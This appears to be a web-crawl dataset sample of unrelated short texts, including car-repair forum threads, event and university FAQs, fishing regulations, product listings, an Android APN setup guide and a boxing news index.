text:
|Topic Review (Newest First)
You said you put RTV on intake. Was that while the intake was still installed? Just smearing it on the front where it mates with the block won't keep it fron getting blown out from excess pressure.
After its been cleaned, and warmed up good, hood up, chock the wheels, have a friend get in and hold the brake hard while pressing the throttle till just before it starts to rotate the wheels or move, and watch for blowby/oil.
Might pull the pcv valve and watch for excess blowby. If there is allot its probably going to blow out any gaskets(front of intake, front of oil pan, timing cover seal, valve covers, ect...) no matter what you do except re-ring/overhaul. JMO
I agree with the Many suggestions to the oil dye, that stuff is awesome!
If you think or wondering if it's blow by; plug all the vents on the engine.
Install a fuel pressure gauge on the dipstick tube, which I would keep low, like, 2~4 psi and feed it, through PVC grommet, compressed air
whilst the engine runs at a high idle. Make it 2700 for whatever reason.
Then you'll be able to replicate a high blow-by situation at cruse speed and find that damn leak. If that's what it is.
Best of luck.
Thin front pan seal where a thick seal should be? Has the lip that secures the front pan seal become detached from the rest of the timing cover? (The channel where the seal resides is only spot welded to the cover.)
If it was me I would clean the engine compartment spotless, then go out and run it however you need to to make it leak. Then park over a large piece of cardboard and let it drip. In many cases, right above the furthest FORWARD spots are going to be where the leak is.
Are you sure the head gasket is sealing? If the heads have been angle milled, or sometimes after conventional flat milling, the head will not be flat at the top of the deck where the gasket has to seal the crankcase.
It would be the flat surface of the head that mates to the surface of the lower left in this image where the deck transitions into the china wall.
A feeler gauge might work to check that.
|i replaced my fuel pump. all ready i used rtv on the intake. and ive replaced every seal on this motor except the head gasket. i really appreciate all the help this is super frustrating.
|Coram Stiner
help with weird oil leak
I know this may sound a little off the wall but thier are 2 things that I have run into with my sbc 1. wrong rear seal 2. there is a spot on top of intake manifold for egr valve back by distributer. It is recessed into manifold with 2 bolt holes these dont go thru casting (not suposed too) 1 of mine opened up some how and at higher rpm would throw oil out. you can only see it if you stand on drivers side hood open and rev up motor with throttle linkage. I hope this helps. PS. there are 2 different rear main seals
|I have had fuel pumps leak oil from the vent hole on the top side of the diaphragm when used in oval track racing.
What you can do is get it on the dyno and have someone else drive while you watch for where the oil comes from, while wearing eye protection of course.
Or pull the hood off and rig up a camera and take it for a drive.
Id also recommed getting some dye, it might help you identify they general location that's causing the problem.
|i guess ill do a leak down test this weekend... im really thinking ill just build a new motor. it is a 307 thats punched .060 over so its may be time to just do a new one..
|Where is your PCV connected. When under heavy load the pcv will not be doing much due to a lack of vacuum. This could cause crank case pressure to build and blow out oil. When you loose pcv vacuum is you have a weak seal combined with excessive increased crank case pressure it could blow out. You need to figure out where it is coming out to start with. My guess is the front of the intake. Did you use RTV on the intake ends or the gaskets. The gaskets don't seal. At higher rpm you will also have a lot of oil flowing in the lifter valley which could contribute to intake leaks.
When you say run the engine all day at 6000 and it doesn't leak with no load, expain how you're getting 6Krrrs and no load. I think I can guess but I'd rather hear your explanation.
If you're just revving the engine with no load on it there isn't a need for much throttle to get it up to 6000 RPM so the pressures in the cylinders are actually pretty low thus not a lot of forces to cause blowby. However, when the engine is truly working by moving a 2 ton car, the cylinder pressures get to be quite high even at a modest 2500 RPM this will make a lot of blowby.
If this is a blowby issue from a broken ring for example, as the cylinder pressures rise a lot of compression pressure will get into the crankcase and it will blow oil out the weakest place. Usually this comes out the breathers and often out the crankshaft seals or where the pan mates with the timing cover. Older heads with the cast gasket rail of the rocker cover are another common leak point as are the corners of the intake manifold. The pan rail can be another troublesome spot as often too much tightening of the pan bolts dimples the pan's stamped rail crushing the gasket, this can also happen to the rocker covers, and the timing cover if they are sheetmetal.
I'd think the locations of leakage would be visable; but if not, I'd clean the engine and take it out just enough to promote the leakage but short of soaking everything in oil so you can see where it comes from. I'd also recommend a leak down test in addition to a compression test. Low compression or fast leakdown can identify any ring problems. If the engine ever kissed serious detonation even for a few moments this can damage the ring lands grabbing the rings often busting them but not holing the piston. So the rings will fail to hold compression at some level from mild to wild but the piston won't have a hole right into the pan.
One might even consider the front of the crank got assembled without the oil slinger that fits between the crank's timing gear and the front seal. If the slinger isn't there; as crankcase pressure builds it will pump oil up the crank and past the seal like it wasn't even there. And yes wear on the seal surface of the damper can leak and leak a lot even though the seal itself is good. There are thin repair sleeves that slide down inside the damper to restore the sealing surface if this is a problem.
When I said have someone else run the heck out of it, I meant with hood off and uou in the passenger seat.
In terms of the dye, you add the dye to the crankcase, go run the car 50 yards hard, and check it, then 100 yards and recheck it, etc. The dye is a guarantee to find the source of the leak(s) if you have a system for checking it starting with a short interval to longer intervals. Have done it many times and it has always worked. Give it a try and you'll see what I mean.
|it only leaks oil when there is load on the motor i can run it at 6k all day no leaks get on it on the free way and it blows oil at 2500... i replaced every gasket and seal including intake manifold timing cover valve cover gasket.
Buy some leak detection dye and grab a black light. It should do te trick.
X2 on it coming from or getting into the front of engine accessories by the way it is all over.
My last resort would be to remove the hood and have someone else run the heck out of it while you're watching. That should at leeast give you an area to look closer.
The black light and dye system works great. You can grab the dye from Napa or most any truck dealership.
Good luck - nice looking motor.
|This thread has more than 15 replies. Click here to review the whole thread.
|Posting Rules
You may post new threads
You may post replies
You may not post attachments
You may not edit your posts
BB code is On
Smilies are On
[IMG] code is On
HTML code is Off


text:
I am privileged to be the keynote speaker at the upcoming 2014 Canadian International Law Students Conference, jointly presented by the International Law Society of University of Toronto Faculty of Law and Osgoode Hall Law School on Saturday, 1 February 2014 from 9:30 AM to 6:00 PM (EST). Here are the event details:
Event Details
The CILSC provides a forum for law students, academics, practitioners, and leaders in the field to exchange ideas about Canada's international and domestic performance in public and private international law. Speakers will also touch on how to begin exploring a career in this field. For speaker bios visit www.cilsc.com
The conference has a history of attracting prominent speakers involved in the practice and study of international law. This year we are featuring speakers across five panels:
Panel 1: Litigating Foreign Cases in Canadian Courts
Panel 2: International Intellectual Property Law
Panel 3: Careers in Public International Law
Panel 4: Careers in Private International Law
Panel 5: Law and the Syrian Crisis
9:30-9:45 Introductions
9:45-11:00: Substantive panel 1 (Public)
11:15-12:30: Substantive panel 2 (Private)
12:30-1:30: Lunch
1:30-2:30: Concurrent Career Panels
2:45-4:00 Substantive Panel (Syria)
4:00-5:30 Reception
Ticket Information:
Online Student Ticket: $12.00
In-person Student Ticket: $10.00
For in-person tickets, Osgoode students please contact firstname.lastname@example.com; U of T students please contact email@example.com or firstname.lastname@example.com. These tickets will be available at the door.
Professional Tickets: $75.00
Current members of the bar who attend the conference are eligible for up to 3.75 hours of CPD credits. We will provide holders of Professional Tickets materials to be submitted to the law society for CPD credits.
If you're interested in a career in international law or want to hear about the latest international law developments from leading academics and practitioners , this is a must-attend program.

subset: commoncrawl


text:
Young Bathing Beauties to be sure! My mother, Vernelle Gailey Richards, must have really trusted my daddy, Leon Richards, to be out in the middle of the lake in this boat. It looks like it's leaking. But she's holding on to him for dear life! I would imagine she was just like me and my sisters ~ never learning to swim. After all her mother, Edna Puckett Gailey, told all of us girls, "Stay OUT of the water ~ you don't know how to swim!"
I never learned exactly when or where this little photograph was taken, but I believe it must have been at a Richards family get-together around the year 1941 or 1943. I am basing that on another picture I found with what looks like the same boat with 3 little tow-headed kids in it. The lake had tree stumps that you could see all around the boat. Some of the Richards' reunions were held around Hemphill and so it could have been one of the East Texas lakes. As to the date the picture was taken, I think mother looks like she may have been pregnant (maybe that's why she wasn't IN the water instead of in that rickety boat) so it could have been before my baby brother, Jimmie Leon, was born in 1941 or me in 1943.
Carnival of Genealogy, 74th Edition
Mon, Jun 15, 2009 - Tue, Jun 16, 2009
Annual Swimsuit Edition
Back by popular demand, the topic for this edition of the Carnival of Genealogy is: Swimsuit Edition! Why should Sports Illustrated have all the fun? This is our chance to show off the bathing beauties in our family.
This edition of the COG will be hosted by Jasia at Creative Gene.


text: Hello! I was working on my program (im still a newbie) and I got a problem. My program starts, shows the information very very fast and closes itself. I know about command "cin.get()" but it doesn't work somewhy (just throws a lot of errors). So any command which would make my program last longer?


text:
Hello Folks,
I am a newbie and need some concrete advice. I have a BSC in Archaeological Sciences and History, Msc in Social Archaeology and South Asian History and I am now doing my Mphil in Ancient Ideology and Economy: Indus Valley Civilization. I intend to do a PGCE (further education) in history after I have completed my degree . I also intend to do a 120 hour TEFL course with TEFL-england and CertTrinity course next year. Will this be sufficient enough to teach in the Middle east? (I am going to do voluntary work at a local school- once a week). I am paticularly interested in teaching in the Middle East or/and South East Asia. I want to work for few year or so and then come back to England and do a PhD in Social Anthropology and Education.
So what are my chances of securing a teaching job in UAE or any Middle Eastern country?
Cheerio folks.


text:
Understanding Regulations and Requirements
Trout Fishing
Download a printable map and see Georgia's trout streams listed by county.
License Requirements
To fish in designated trout waters and to fish for or to possess trout you need:
Georgia Residents:
Georgia State Park Visitors: not required to possess a trout license to fish in the impounded waters of the park. If you fish for or possess trout you must have a trout license in your possession.
Minimum Length Limits
No minimum length limit except the following streams:
Daily Creel and Possession Limit
Trout Fishing Hours
Trout Fishing Rules
Impoundments on Trout Streams
Anglers can:
Special Trout Stream Regulations
While fishing specially regulated waters with a minimum size limit, it is a violation for an angler to possess a trout which is less than the specified minimum size regardless of where the fish was caught (tips on releasing fish). The following trout streams and portions of trout streams have special management programs and regulations to provide anglers a variety of trout fishing opportunities:
Delayed Harvest Streams
Anglers fishing delayed harvest streams must release all trout immediately and use and possess only artificial lures with one single hook per lure from November 1 - May 14 annually. The use of additional "dropper" lures on one line is permitted as long as each lure contains one single hook. These restrictions do not apply from May 15 - October 31 of each year. The following streams are delayed harvest streams:
Artificial Lures Only Streams
In streams listed below, only artificial lures may be used. It is unlawful to possess any other type of bait on an artificial lures only stream.
Note: The Chattahoochee River, within the Chattahoochee River National Recreation Area, from Buford Dam to Peachtree Creek is closed to any use at night (30 minutes after sunset to 30 minutes before sunrise). Anyone in or on the river between Buford Dam and Georgia Highway 20 bridge must wear a personal flotation device (life jacket).
Other Special Regulation Streams
Moccasin Creek
That portion of Moccasin Creek between the Lake Burton Hatchery water intake and a sign marking the approximate normal pool level of Lake Burton is restricted to anglers under 12 years of age and Georgia Honorary license holders.
Smithgall Woods - Dukes Creek Conservation Area
Dukes Creek and its tributaries within the Dukes Creek Conservation Area are open to fishing year-round by reservation only. To make a reservation call 706-878-3087.
Waters Creek
Waters Creek is located on the Chestatee WMA is managed for trophy trout. Waters Creek and its tributaries are open on Wednesday, Saturday, and Sunday only between 6:30 a.m. and 6:30 p.m. Eastern Standard Time (7:30 p.m. Eastern Daylight Saving Time) with the following restrictions:
Dawson Forest & Rich Mountain
Anglers fishing Dawson Forest (North of GA Highway 53) or Rich Mountain (Cartecay Tract) must also meet the GORP requirements to fish for trout in these areas.
Navigate to Page:
Ranger Hotline
Report poaching and wildlife violations. You can receive a cash reward if your tip leads to an arrest—even if you wish to remain anonymous.


text:
Ask Drum Tom
Calculate the pH of each solution. a: [H3O+] = 7.4×10−10 M b: [H3O+] = 4.6×10−2 M c: [H3O+] = 5.2×10−13 M d: [H3O+] = 8.4×10−5 M?
Answer this question
Do you know the correct answer? Make money answering questions! Join now.
Calculate the pH of each solution. a: [H3O+] = 7.4×10−10 M b: [H3O+] = 4.6×10−2 M c: [H3O+] = 5.2×10−13 M d: [H3O+] = 8.4×10−5 M?
Answer for question:
Your name:
recent questions
how many named humans died in the walking dead series 1-6
the youth of today does not show general apathy towards human rights violation
where can I buy custom baseball jerseys
custom baseball jerseys
I am a talented web designer that is looking for new projects and clients. I was just on your site and it's a nice site, but I can make it amazing and improve your sales. Are you interested in redesigning the site or adding some features? I have a lot of ideas I'd like to share with you. Let me know if you're interested in talking to me and hearing some of my ideas as well as getting a proposal. I'd really love to work on your site. Hope to hear from you soon. Thanks! Lisa Marshall
Login to your account
Create new account
Discover Questions
Discrete Help ASAP. Please write out symbolic notation.?
What is cycle time for astm?
Can reality itself be programmed by interacting with it - in particular asking questions that lead to where you're directing it to go?
0.8 litres water is how many cups?
If a+b+c=4, ab+ac+bc=6, and abc=3, what is 1/a + 1/b + 1/c?
© Ask Drum Tom 2016. All rights reserved.


text:
Scottsdale Shares
Giving comes in many forms … from the time commitment of volunteers to donations of clothing and food and cash contributions. Scottsdale Shares, the city's donation program, can help you match your donation to specific programs that help others.
Ways to give:
Scottsdale Cares is the city's voluntary utility bill donation program. It provides an easy way for you to help neighbors in need.
Concerned Citizens for Community Health
You can donate money directly to various city programs through Concerned Citizens for Community Health (CCCH). CCCH is a volunteer, non-profit 501 (c)(3) organization whose mission is to develop services and raise
Partners for Paiute
Through the non-profit Partners for Paiute, you can donate money directly to programs and services that benefit the Paiute Neighborhood Center.
Operation Fix It teams volunteers and local businesses to provide labor and materials to help eligible residents maintain their properties.
Beat the Heat
Every June, the Via Linda and Granite Reef senior centers provide a care package of summer goods for isolated, frail and homebound senior citizens. You can help by donating supplies. Items needed include reusable bags and water bottles, nutritional supplement drinks (i.e., Ensure or Gatorade), bottled water, small snack items, personal hygiene items, stamps and grocery gift cards (minimum $35). Drop off your donations at the Via Linda Senior Center, 10440 E. Via Linda, by June 15.
Back to School Program
This program assists up to 500 Scottsdale elementary and high school-aged children each year. Eligible children are provided with two sets of new clothing, socks, underwear, a pair of shoes, backpack and school supplies. This year, heavy duty back-packs are especially needed. Items can be dropped off at Vista del Camino, 7700 E. Roosevelt St., by July 27.
Adopt-A-Family program
Vista del Camino's Holiday Adopt-A-Family helps families facing these challenges to have a happy holiday season with food on their table, and gifts for the children. To "adopt" a family for the Thanksgiving and/or December holiday season, contact Rosita Pinedo at 480-312-0063
Adopt-A-Senior program
Scottsdale's Adopt-A-Senior Program invites individuals, families, community groups and local businesses to help make the holiday season brighter for isolated, homebound seniors. Use a wish list to shop for a senior, donate items or gift cards or make a monetary donation. To sign up or for details, call Leslie Lory at 480-312-8465.
Fire Department's Toy Drive
The Scottsdale Fire Department's annual toy drive to benefit the Paiute Neighborhood Center's Toy Program and other approved agencies begins in November and continues through Christmas Eve. Citizens are encouraged to drop off new, unwrapped toys at one of Scottsdale's 14 fire stations or the Police & Fire Headquarters Building, 8401 E. Indian School Road. For more information, call 480-312-1817.
Paiute Toy Program
The Paiute Community Center's Toy Program is supported by the Fire Department's Toy Drive and Toys for Tots. However, individual donations are welcome. Paiute especially needs gifts for teenagers such as gift cards, movie passes and DVD's. Donations can be dropped off at the center, 6535 E. Osborn Road. Call 480-312-2529 for information.
Vista del Camino Food Bank
The Vista del Camino Food Bank accepts donations of canned foods and non-perishable items. Items most needed include peanut butter, tuna, canned meat, spaghetti sauce, pasta, rice, dried or canned beans, jelly, soup, canned fruit, cereal and boxes of macaroni and cheese. Donations are accepted at Vista, 7700 E. Roosevelt St., and the Via Linda Senior Center, 10440 E. Via Linda. For more information, call 480-312-2323.
Volunteer opportunities
The city has many volunteer opportunities available. You can volunteer for a single event, year-round, as an individual or gather a few of your friends and neighbors to work on a community project. There's plenty to do and it's very rewarding to be a part of the community you live in.
Social services directory
Want to find another way to give back to our community? There are dozens of programs and organizations dedicated to those in need. Access a directory of social service programs and locations in the Scottsdale area.


text:
Answers to all of your Commencement-related questions.
ScheduleWalking in the CeremonyTicket InformationThe PavilionDirections and Parking InformationDisability AccessAccommodationsDiplomas Lesley Memorabilia
When and where is Commencement?
Saturday, May 20, 2017 at the Blue Hills Bank Pavilion, 290 Northern Avenue, Boston, MA.
What time is the ceremony?
9:00 am – Ceremony for the Graduate School of Education and the Graduate School of Arts and Social Sciences
1:30 pm – Ceremony for the College of Liberal Arts and Sciences and the College of Art and Design
Graduates are asked to arrive one hour prior to the start of their ceremony.
[back to top]
What do I need to do in order to be part of Commencement 2017?If you intend on walking in your ceremony, please email firstname.lastname@example.com if you have not submitted an RSVP via LOIS.
How do I purchase my cap and gown for Commencement?
Academic attire can be purchased at the Lesley Bookstore prior to Friday, May 19. Please note that attire cannot be returned once purchased.
If I have submitted a Declaration of Intent to Graduate, does that mean I have RSVP'd to Commencement?
No, the two forms are different. The Declaration of Intent to Graduate must be filed via your LOIS account regardless of whether or not you intend to participate in the Commencement ceremony. You must file your Declaration of Intent before submitting the Commencement RSVP.
Is there a fee to walk in the ceremony?
There is no fee to walk in the Commencement ceremony, although graduates must purchase their academic attire. (Please note that the Declaration of Intent to Graduate, filed with the Registrar's Office, includes a Degree Completion Fee.)
Do I need tickets?
For your convenience, we do not require attendance tickets and there is no limitation on the number of guests per graduate.
What kind of facility is the Blue Hills Bank Pavilion?
The Blue Hills Bank Pavilion is an outdoor amphitheater that opened in 1994. It is owned and operated by Live Nation and seats approximately 5,000. During the summer months, the Blue Hills Bank Pavilion hosts music performances in the open-air venue. Due to the close proximity to Logan Airport, balloons are not allowed into the facility. Please plan accordingly.
Please take into consideration that the venue is on the waterfront, therefore cool spring breezes coming in off the water may make the air significantly cooler than in other parts of the city. Appropriate dress and removable layers are key to staying comfortable in Boston's unpredictable climate.
Where is the graduate entrance?
If you are facing the Blue Hills Bank Pavilion, the graduate entrance is to the left of the main gate and will be marked "GRADUATE ENTRANCE." Guests will enter using the main gates. Commencement staff members will be on duty outside the venue to direct graduates to the appropriate entrance.
Is there a designated area where I can take a photograph of my graduate?
There is not a designated area where photos can be taken. The aisles in front and bordering the graduates seating areas are used for procession and recession and need to be kept clear. Professional photographers from Hockmeyer Studios will be present to take each graduate's picture as he/she crosses the stage. For those who RSVP'd to Commencement, Hockmeyer will send you a special mailing with ordering information. Contact Hockmeyer Studios with questions at 978.388.9832.
Are food and drinks available at the Commencement Ceremony?
Yes, food and drink will be available via the Blue Hills Bank Pavilion concession booths.
Where can I find directions to the Blue Hills Bank Pavilion and information about parking?
From Logan International Airport and Route 1A South:Follow the signs towards I-90 West – Ted Williams Tunnel. Take the Ted Williams Tunnel/I-90 West to Exit 25 "South Boston". At the top of the ramp proceed straight onto B Street. At the end of B Street, take a right onto Seaport Boulevard. Seaport Boulevard becomes Northern Avenue. The Blue Hills Bank Pavilion will be approximately 1/3 mile ahead on the left.
From Western Massachusetts via Massachusetts Turnpike:Follow the Massachusetts Turnpike /Interstate 90 East to Exit 25 "South Boston". At the top of the ramp, bear left towards "Seaport Boulevard" and at the first set of lights proceed straight onto East Service Road. At the next set of lights, take a right onto Seaport Boulevard. Seaport Boulevard becomes Northern Avenue. The Blue Hills Bank Pavilion will be approximately 1/3 mile ahead on the left.
From Points South via I-93:Heading northbound on Interstate 93 towards Boston, take Exit 20, which will be immediately after Exit 18. Follow the signs towards "I-90 East". Take the first tunnel exit to "South Boston". At the first set of lights at the top of the ramp, proceed straight onto East Service Road. At the next set of lights, take a right onto Seaport Boulevard. Seaport Boulevard becomes Northern Avenue. The Blue Hills Bank Pavilion will be approximately 1/3 mile ahead on the left.
From Points North via I-93:Heading southbound on Interstate 93 Boston, take Exit 23 "Purchase Street/South Station". At the top of the ramp, take a left onto Seaport Boulevard and proceed over the Moakley Bridge, Seaport Boulevard. Seaport Boulevard becomes Northern Avenue. The Blue Hills Bank Pavilion will be approximately 1.0 mile ahead on the left.
From Points West via Storrow Drive:Take Storrow Drive East to Leverett Circle and follow signs for Interstate 93 South. Once on Interstate 93 South, follow directions from "Points North".
Public transportation is always encouraged. The MBTA subway is an easy alternative to driving. Take the MBTA subway, commuter rail, or bus to South Station and connect with the MBTA Silver Line Waterfront (one level above the Red Line, one level below the food court) to Silver Line Way. You will see The Blue Hills Bank Pavilion, which is a short walk from this stop.
Parking is available for The Blue Hills Bank Pavilion guests at the Seaport Hotel Garage and the EDIC Garage; both are within a short walk of the Pavilion. The Seaport Hotel Garage can be accessed from Seaport Boulevard. The Seaport Boulevard entrance is at the intersection of Seaport Boulevard and B Street, three blocks before the Pavilion. The EDIC Garage is on Northern Avenue. Follow Northern Avenue past the Pavilion, straight around the rotary and it will be ahead on the right.
What arrangements are available for guests who may need disability related accommodations?
If you anticipate having guests who may need disability related accommodations or if you need a disability related accommodation, we ask that you contact Lesley University's Disability Services by phone at 617.349.8655, TTY at 617.349.8544 or via e-mail at firstname.lastname@example.com by May 1, 2017, so that we can make the necessary plans for meeting your needs.
In addition, American Sign Language Interpreters will be present on Commencement Day.
Where can I view a list of hotels?
There are numerous hotels located in the Seaport District. Please see our partial listing of nearby hotels.
Are there on-campus rooms available?
No, we do not offer Commencement housing on-campus.
Will diplomas be distributed?
All diplomas will be mailed to graduates. Each graduate will receive a case and welcome letter from the Alumni Association the day of Commencement as he/she crosses the stage.
I do not plan to walk in the Commencement ceremony. How do I make sure that my diploma is mailed to me?
The Registrar's Office mails all diplomas to the permanent mailing address on file with the University. If you have questions, please contact the Registrar's Office at 617.349.8740 or email@example.com.
Will I be able to purchase Lesley memorabilia for my graduate?
Yes, the Lesley University Bookstore will be present on Commencement Day. Graduates and guests will be able to purchase sweatshirts, t-shirts, and other Lesley memorabilia, as well as place an order for a class ring or a diploma frame.
How can I purchase graduation announcements to share with my family and friends?
Personalized graduation announcements will be available through Herff Jones' website.
Commencement Home
Frequently Asked Questions
Academic Attire
Disability Access
Past Honorary Degree Recipients
Welcome Alumni
email@example.com 617.349.8548
May 20, 2017 / CEREMONIES9:00 am ceremonyGraduate School of Education andGraduate School of Arts and Social Sciences 1:30 pm ceremonyCollege of Liberal Arts and Sciences andCollege of Art and DesignGraduates must arrive one hour prior to the start of their ceremony.


text:
|Topic Review (Newest First)
Brian thank you
I have never had to do this so I have been waititng for everything to "off gas" so i dont make this an even bigger mess.. So would you suggest use the epoxy with just fast catalyst or go with another type of primer, I have has success with primer, 2k surfacer, base, clear. I may get back into this tomorrow, thin fast somewhat dry coats over the burnt through spots, then was thinking epoxy the entire car since this omni covers like water with food coloring in it and i dont want light/dark spots!
What you need is a barrier coat of some sort. The epoxy is fine to sand, they use terms like "non-sanding" but it only means it doesn't HAVE to be sanded, not that it CAN'T be sanded.
Now, if you mix it as a "non-sanding" sealer you are adding more reducer.......just what you don't want. You want to spray it as a primer, spray it kinda dry over those sanded thru areas. Spray a coat and let it set good to flash off before you follow with more coats. After a few you have created a barrier coat over that sensitive area.
You then sand it and the surrounding area and you are good to go with base and clear.
|thank you very much for the replies. The base has no hardener. I do have a white epoxy primer and was told that it was junk so we didnt use it the first time around. Ive been told if i thin the epoxy a little bit 4:1:1/2 it will lay nicer. Dont want to run into issues with epoxy as its not suppose to be sanded. Also was thinking about using it now to seal/seperate whats going to be on top, and whats their now. However I imagine i could run into some big issues with lifting from the solvents under neath. How long would you guys recommend before getting back at this? I was consiidering pulling the car back in his garage and letting my salamander run all day, even though it is 80-85 degrees as it is. Thanks Alot!
If there is no hardener in the base on your first application and you have sanded thru the clear there is a good possibility you will have lifting. You are going to need to seal off those sanded thru spots with primer. And you can't apply the primer real wet either, or that will wrinkle or lift as well.
Spray it light, make sure it's warm, use the faster reducer, anything to keep those solvents from soaking in and going under the clear to wrinkle it.
|What ever you do add about a oz. or 2 of activeator to each cup of thinned base to help keep it from lifting your fresh paint. Wont hurt a thing and will improve your base coat. Waiting a hour between coats of clear should not hurt. I do it a lot and have had no issues.
bc/cc help please
Im new to this forum, seems to be some very experienced people here so chime in!!
Ive been painting cars for about 5 years now and have had some great results, however I needed a place to spray my current project and my close friends grandfather said he would just paint it for me as long as i prepped the car, seeing some of his work it seemed like a good idea to me. We used a omni base, Electron Blue Pearl, shopline (jc620) clear, slow reducer for base, slow hardener for clear. Put the base on and besides some slight base runs, looked good, so on to clear we went. Did one nice heavy coat waited about an hour (seemed too long for my liking, dry to the touch) laid down some more clear, well I noticed some cracking/lifting so we stopped. I come back the following day to see my car all color sanded and several spots sanded clear down to the primer. I went through and wet sanded the entire car with 1000, untapped and left it outside to cure. I bought more base today and have a gallon of clear left over from another project, I am going to be spraying the car this time around.. However I am not sure on how long to let this cure before i get into laying more base over this. The car was painted Sunday night, temps have been in the mid to upper 80s. Any advice on this would be greatly appreciated as I am not positive on laying more base over fresh clear. It has been wet sanded with 400 at first, then I wet sanded with 1000 so its been opened a little bit. Thank you!
|Posting Rules
You may post new threads
You may post replies
You may not post attachments
You may not edit your posts
BB code is On
Smilies are On
[IMG] code is On
HTML code is Off


text:
An Android phone depends a lot on the Internet to make maximum use of its features. Connecting to the Internet is easy, as it only requires access point settings from your mobile network operator. Generally, the network supplies APN settings automatically. However, if you want to change your APN, there is an option to do that too. Today, we are going to see how to set access point values in any Android phone.
Every Android phone has a slightly different menu style and look to the user-interface. In that case, you have to look for the relevant name of the utility.
Step 1: Go to your application menu, which lists all the applications. From there, select Settings or the application that appears as the settings utility for your phone, as shown below.
Step 2: There will be many sections in Settings. Go to Wireless & networks.
Step 3: In Wireless & Networks, look for Mobile networks.
Step 4: Inside Mobile networks, you will find another section called Access Point Names.
Step 5: Now, we will add a new APN. Press menu, and click on New APN.
Step 6: Now, we can edit the new access point.
Step 7: Editing the access point requires us to have the Access point name, the APN type and port. You can find these sections in the screen above, and add the details wherever applicable. APN settings for various network providers can be found with a quick search on Google.
Step 8: Finally, when you are done editing, you can save the APN details by clicking on Menu and selecting Save.
Turning on the Data connection
Now, it is time to come back to the screen in step 4 and select the Data enabled checkbox as shown below.
If you APN settings are correct, you will be able to connect to the Internet. You can test this by browse to any website on the Android browser.
~Chinmoy Kanjilal


text:
Short Sleeve A-Line Black Shift
Out of Stock
- Fitted waist with A-line skirt.
- Rounded neckline, short sleeves and slightly raised banded waist with silvertone metal bar. Single front pleat. Darted bust; back darts. Hidden back zip with hook-and-eye closure.
- Silky charmeuse thread-tacked lining. Bra strap guides.
- Length: 35.5".


text:
Hey guys - I know that everyone here is interested in digital photography, so I thought you might be interested in this contest that I found. You can enter your best digital photograph - there are a bunch of categories to enter - and win big prizes.
It really just sounds like a good way to see other photographer's work. The contest is on:
good luck!
Digital Photo Contest
Started by Hschgrad05, Sep 01 2005 04:33 PM
No replies to this topic
0 user(s) are reading this topic
0 members, 0 guests, 0 anonymous users


text:
Select Country or Region
New Website coming soon!
When the delivery of a chiller or air conditioning unit is delayed, or maintenance shutdowns push your schedule to the limit, Aggreko is there fast - with the rental cooling equipment and expertise to keep your project moving forward. Aggreko has the rental cooling and heating you need, available 24/7.
Our experience in the mechanical contractor market provides you the advantage of having Aggreko. We are available 24 hours a day to help design the temporary, critical temperature control solutions you need, on your timeline.
Visit our Solutions Library to read case studies of Aggreko's services for mechanical contractors or Contact us today for more information.
Call our National Rental Center877.603.2801
Related Pages


text:
not used
Electric, angle, hold and drive nutrunner with fan
Request information [-]
8433 2080 89
Send an email
Atlas Copco's unique Tensor motors give the Tensor range outstanding spindle speeds and, thus, help you achieve lower cycle times in your operation. Exceptional ergonomics in terms of balance, grip and low weight make the tools a favorite of the operators and increase individual productivity. All Tensor tools are equipped with LED's that will indicate the tightening result, green light for tightening OK and red light for NOK. At Atlas Copco we believe that quality is the road to lowest cost of operation over time. A maintained Tensor tool produces the same performance year after year at minimum and predictable costs while ensuring highest possible uptime.The second generation of Tensor tools, Tensor ST, also focusing on safety critical applications, was developed with low weight and productivity in mind.The distinguishing feature of a hold and drive bolt is that one part is held and the other is tightened from the same side. Threaded fasteners of the hold and drive type, used for example on shock absorbers, require special hold and drive tools. Atlas Copco offers a wide range of electric tools for hold and drive screws. A wide range of sockets and holders with different lengths and geometries are available, such as hex, surface drive, two flats, Torx and bit holders.
Tool cable
2 meters
4220 2636 02
3 meters
4220 2636 03
5 meters
4220 2636 05
7 meters
4220 2636 07
10 meters
4220 2636 10
15 meters
4220 2636 15
Safety trigger
4220 3511 83
5 m
7 m
10 m
15 m
Lock-off lever
TLS ST Tag 101 U1
TLS Tool tag
8433 1030 60
Torque arms
Legal Notice, Privacy Policy, Copyright © 2000-2014 Atlas Copco. All rights reserved.


text:
Lennox Lewis
News about Lennox Lewis, including commentary and archival articles published in The New York Times.
From Las Vegas to the Philippines, Shock Over Pacquiao Loss
The undefeated American boxer Timothy Bradley scored a controversial upset over Manny Pacquiao of the Philippines on Saturday night in Las Vegas, winning a split decision that brought Pac-Man's Filipino fans, celebrity supporters and even other bo...
June 10, 2012, Sunday
Heavyweights Fight a Surplus of Belts and Apathy
Without a charismatic star or an undisputed champion, the heavyweight division has been knocked out of the limelight....
August 12, 2006, Saturday
Rahman Doesn't Win, But Keeps His Title
The majority draw decision in favor of Hasim Rahman left many in the crowd at Boardwalk Hall shaking their heads and hissing....
March 19, 2006, Sunday
Ali Center Reflects the Evolution of a Champion
Hundreds of spectators stood outside in Louisville, Ky., for the dedication of the Muhammad Ali Center, an $80 million project that commemorates Ali's life....
November 21, 2005, Monday
Truth be told, Dear Reader, we have caught the Wilmer Valderrama fever....
June 23, 2005, Thursday
Fighters Look to Separate Themselves From Crowd
Eight heavyweights on Saturday night's card at Madison Square Garden hope to change the perception that the division has more quantity than quality....
November 11, 2004, Thursday
Belt in Balance, Lewis Is Satisfied at Ringside
The heavyweight division's past was here Wednesday at the Staples Center, the scene of Lennox Lewis's final victory 10 months ago and the site Saturday of the fourth world heavyweight championship bout in 15 days. Lewis was on hand to see what ...
April 22, 2004, Thursday
Lewis Decides to Retire While Still Reigning Champ
Lennox Lewis, the first Englishman to win the heavyweight boxing title since Bob Fitzsimmons more than 100 years ago, promised on Friday to become only the third reigning heavyweight champion to retire and not come back. ''Lennox believes it is...
February 7, 2004, Saturday
Sports Briefing
BOXING Lewis May Announce Retirement Today Lennox Lewis, 38, will hold a news conference today in London amid reports that he will retire than risk his World Boxing Council title against Vitali Klitschko. If Lewis (41-2-1) retires, Klit...
February 6, 2004, Friday
Lewis Bout May Be Next For Klitschko
It is Lennox Lewis's move: Pick up the second-biggest day of his career, close to $20 million, or lie on the beach. After Vitali Klitschko's two-round demolition of Kirk Johnson at Madison Square Garden on Saturday night, there is a compelling...
December 8, 2003, Monday
Rss Feeds On Lennox Lewis
Subscribe to an RSS feed on this topic. What is RSS?
Get Alerts On Lennox Lewis
Receive My Alerts e-mails on topics covered on this page.More Alerts >>


text:
Youth suicide is a leading cause of death among young people in Utah and is a major public health concern. This website offers guidance and resources for implementing prevention programs in your school can community.
